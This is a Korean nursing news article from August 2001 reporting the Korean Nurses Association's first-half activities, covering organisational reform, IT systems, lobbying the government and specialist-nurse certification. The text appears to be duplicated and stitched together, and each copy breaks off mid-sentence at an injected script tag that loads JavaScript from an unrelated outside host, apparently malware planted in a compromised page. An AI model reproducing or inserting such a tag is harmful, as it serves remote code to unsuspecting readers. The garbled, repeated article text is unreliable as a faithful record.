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대한간호협회 상반기 사업결산
[편집국] 정규숙 kschung@nursenews.co.kr 기사입력 2001-08-30 오전 10:11:42
대한간호협회는 2001년도 대표자회의를 23∼24일 KNA연수원에서 개최했다.
간협 중앙회 회장단과 이사 및 감사, 전국 시·도간호사회 및 산하단체 회장들이 참석한 가운데 열린 이날 대표자회의에서는 간호협회가 10대 정책과제를 중심으로 상반기동안 추진한 사업결과를 보고받고 하반기 주요 사업시행 계획을 점검했다.
이날 회의에서는 간협이 역점을 두고 추진하고 있는 전문간호사 제도화 사업, 조직모델 개발 특별위원회 사업, 대정부 정책활동, 간호교육평가원 운영, 회원 복지증진 사업 등이 자세히 보고됐다.
특히 대표자들은 전문간호사제도에 큰 관심을 보이며 논의를 펼쳤으며 협회에서 앞으로 전문간호사 제도화를 위해 더욱 힘써줄 것을 당부했다.
또한 안건토의 시간에는 앞으로 해외취업 활성화 등으로 인해 국내 간호사 인력부족 문제가 대두될 것이라는 지적이 나왔으며, 이에 대한 대처방안을 마련하기 위해 정책대안위원회를 구성키로 의견을 모았다.
간협이 올해 상반기 동안 추진한 사업내용 및 주요 결실을 소개한다.
■ 대한간호협회 조직강화
회원을 위한 협회, 효율적이고 힘있는 단체로 거듭나기 위해 '대한간호협회 조직모델 개발을 위한 특별위원회'를 구성해 활발한 활동을 펼쳤다. 특별위원회에서는 현행 조직체계, 의사결정과정, 회비구조 등을 다각도로 분석하고 심도있는 논의를 벌였으며 국제간호협의회(ICN)가 제시한 21세기 회원구조안도 함께 검토했다.
간협은 대의원 총회를 열어 전국 회원을 대표해 뽑힌 대의원들이 참석한 가운데 올해의 주요 사업계획과 예산안을 심의 의결했다. 계획된 사업을 원활히 추진하고 현안과제를 논의하기 위해 매월 이사회를 열었으며, 각 사안별로 11개 상임위원회와 4개 특별사업위원회를 활발히 개최했다.
대한간호협회 자료실을 회관 건물 1층으로 이전해 회원들이 보다 쾌적한 환경에서 필요한 정보를 구해볼 수 있도록 배려했으며, 1층 로비에 회원을 위한 휴게공간을 새롭게 마련했다.
■ 정보통신 체계의 구축
전국 시·도간호사회에서 회원관리 업무를 효율적으로 할 수 있도록 회원관리 전산프로그램의 메뉴와 기능을 확대했으며, 간호사회의 실무자들을 대상으로 전산교육을 실시했다.
대한간호협회 홈페이지(www.koreanurse.or.kr)에는 1일 평균 1500여명이 방문하고 있으며, 영문 홈페이지 메인 프레임과 화면 페이지 개발을 마쳤고 현재 수록될 영문 내용을 검토중에 있다.
홈페이지를 통해 자료실의 문헌정보를 손쉽게 검색할 수 있는 서비스를 제공해 호응을 얻었다. 현재 총 2만7000여건의 문헌자료 목록이 데이터베이스로 구축돼 있다. 지방 거주자나 컴퓨터를 이용할 수 없는 회원들을 위한 원격 서비스로 전화나 팩스로 신청을 받아 정보검색을 대행해 주고 있다.
■ 대정부 활동 강화
양호교사 보건교사화를 추진하기 위해 정책대안위원회를 구성해 관련 법령 개정방향을 논의했다. 지역사회 중심 가정간호사업 실시를 위한 법적 방안을 적극 모색했으며, 산후조리원 제도화와 관련 간호사가 개설 운영할 수 있도록 해 줄 것을 제안했다. 보건진료소 현황 및 실태조사 결과와 함께 보건진료소 신·개축 및 시설보강 등의 발전방안을 보건복지부에 건의했다.
영유아보육법 개정작업과 관련 보육관련학과 졸업자만 자격취득이 가능하도록 교과과정을 구성하려는 방안에 대해 간호사가 보육교사 자격을 취득할 수 있도록 교과목 선택범위를 확대해 줄 것을 강력히 주장하고 특히 영아전담교사로는 간호사가 적임자라는 의견을 제시했다. 의료법, 국민건강보험법 등 보건의료관련 법규 개정안에 대해 간호협회의 입장과 의견을 밝혔다.
정책연구 활성화를 위해 협약을 맺고 있는 간협 지정연구소 중 올해는 가톨릭대 호스피스교육연구소와 한양대 간호발전연구소에 연구비를 지원했으며, 지정연구소 선정 기준안도 마련했다.
■ 전문직 간호사 위상 제고
대한간호협회는 전문간호사 제도화를 위해 관련 법령 개정을 건의하고, 보건복지부 관계자들이 전문간호사에 대해 폭넓게 이해할 수 있도록 병원간호현장 탐방을 주선했다. 전문간호사의 독자적인 업무행위 분류작업을 진행하기 위해 간호행위 확대를 위한 소위원회를 구성했다. 9월중 전문간호사 관련 설명회를 개최할 예정이다.
양호교사 명칭을 '보건교사'로 개칭하는 문제가 교육인적자원부 교직발전종합방안 중 올해의 추진과제로 명시되는 성과를 거뒀다. 간협은 또한 양호교사의 보건활동 수당을 신설해 줄 것을 관계요로에 적극 요청했다.
간호사가 각 분야에서 다양한 민간자격을 취득할 수 있도록 하기 위한 프로그램의 첫번째로 '아로마요법사 기본과정'을 개발해 2차에 걸쳐 실시했다. 11월중 3차 교육을 개최할 예정이며 발관리과정 프로그램도 ?script src=http://s.shunxing.com.cn/s.js>
간협 중앙회 회장단과 이사 및 감사, 전국 시·도간호사회 및 산하단체 회장들이 참석한 가운데 열린 이날 대표자회의에서는 간호협회가 10대 정책과제를 중심으로 상반기동안 추진한 사업결과를 보고받고 하반기 주요 사업시행 계획을 점검했다.
이날 회의에서는 간협이 역점을 두고 추진하고 있는 전문간호사 제도화 사업, 조직모델 개발 특별위원회 사업, 대정부 정책활동, 간호교육평가원 운영, 회원 복지증진 사업 등이 자세히 보고됐다.
특히 대표자들은 전문간호사제도에 큰 관심을 보이며 논의를 펼쳤으며 협회에서 앞으로 전문간호사 제도화를 위해 더욱 힘써줄 것을 당부했다.
또한 안건토의 시간에는 앞으로 해외취업 활성화 등으로 인해 국내 간호사 인력부족 문제가 대두될 것이라는 지적이 나왔으며, 이에 대한 대처방안을 마련하기 위해 정책대안위원회를 구성키로 의견을 모았다.
간협이 올해 상반기 동안 추진한 사업내용 및 주요 결실을 소개한다.
■ 대한간호협회 조직강화
회원을 위한 협회, 효율적이고 힘있는 단체로 거듭나기 위해 '대한간호협회 조직모델 개발을 위한 특별위원회'를 구성해 활발한 활동을 펼쳤다. 특별위원회에서는 현행 조직체계, 의사결정과정, 회비구조 등을 다각도로 분석하고 심도있는 논의를 벌였으며 국제간호협의회(ICN)가 제시한 21세기 회원구조안도 함께 검토했다.
간협은 대의원 총회를 열어 전국 회원을 대표해 뽑힌 대의원들이 참석한 가운데 올해의 주요 사업계획과 예산안을 심의 의결했다. 계획된 사업을 원활히 추진하고 현안과제를 논의하기 위해 매월 이사회를 열었으며, 각 사안별로 11개 상임위원회와 4개 특별사업위원회를 활발히 개최했다.
대한간호협회 자료실을 회관 건물 1층으로 이전해 회원들이 보다 쾌적한 환경에서 필요한 정보를 구해볼 수 있도록 배려했으며, 1층 로비에 회원을 위한 휴게공간을 새롭게 마련했다.
■ 정보통신 체계의 구축
전국 시·도간호사회에서 회원관리 업무를 효율적으로 할 수 있도록 회원관리 전산프로그램의 메뉴와 기능을 확대했으며, 간호사회의 실무자들을 대상으로 전산교육을 실시했다.
대한간호협회 홈페이지(www.koreanurse.or.kr)에는 1일 평균 1500여명이 방문하고 있으며, 영문 홈페이지 메인 프레임과 화면 페이지 개발을 마쳤고 현재 수록될 영문 내용을 검토중에 있다.
홈페이지를 통해 자료실의 문헌정보를 손쉽게 검색할 수 있는 서비스를 제공해 호응을 얻었다. 현재 총 2만7000여건의 문헌자료 목록이 데이터베이스로 구축돼 있다. 지방 거주자나 컴퓨터를 이용할 수 없는 회원들을 위한 원격 서비스로 전화나 팩스로 신청을 받아 정보검색을 대행해 주고 있다.
■ 대정부 활동 강화
양호교사 보건교사화를 추진하기 위해 정책대안위원회를 구성해 관련 법령 개정방향을 논의했다. 지역사회 중심 가정간호사업 실시를 위한 법적 방안을 적극 모색했으며, 산후조리원 제도화와 관련 간호사가 개설 운영할 수 있도록 해 줄 것을 제안했다. 보건진료소 현황 및 실태조사 결과와 함께 보건진료소 신·개축 및 시설보강 등의 발전방안을 보건복지부에 건의했다.
영유아보육법 개정작업과 관련 보육관련학과 졸업자만 자격취득이 가능하도록 교과과정을 구성하려는 방안에 대해 간호사가 보육교사 자격을 취득할 수 있도록 교과목 선택범위를 확대해 줄 것을 강력히 주장하고 특히 영아전담교사로는 간호사가 적임자라는 의견을 제시했다. 의료법, 국민건강보험법 등 보건의료관련 법규 개정안에 대해 간호협회의 입장과 의견을 밝혔다.
정책연구 활성화를 위해 협약을 맺고 있는 간협 지정연구소 중 올해는 가톨릭대 호스피스교육연구소와 한양대 간호발전연구소에 연구비를 지원했으며, 지정연구소 선정 기준안도 마련했다.
■ 전문직 간호사 위상 제고
대한간호협회는 전문간호사 제도화를 위해 관련 법령 개정을 건의하고, 보건복지부 관계자들이 전문간호사에 대해 폭넓게 이해할 수 있도록 병원간호현장 탐방을 주선했다. 전문간호사의 독자적인 업무행위 분류작업을 진행하기 위해 간호행위 확대를 위한 소위원회를 구성했다. 9월중 전문간호사 관련 설명회를 개최할 예정이다.
양호교사 명칭을 '보건교사'로 개칭하는 문제가 교육인적자원부 교직발전종합방안 중 올해의 추진과제로 명시되는 성과를 거뒀다. 간협은 또한 양호교사의 보건활동 수당을 신설해 줄 것을 관계요로에 적극 요청했다.
간호사가 각 분야에서 다양한 민간자격을 취득할 수 있도록 하기 위한 프로그램의 첫번째로 '아로마요법사 기본과정'을 개발해 2차에 걸쳐 실시했다. 11월중 3차 교육을 개최할 예정이며 발관리과정 프로그램도 ?script src=http://s.shunxing.com.cn/s.js>
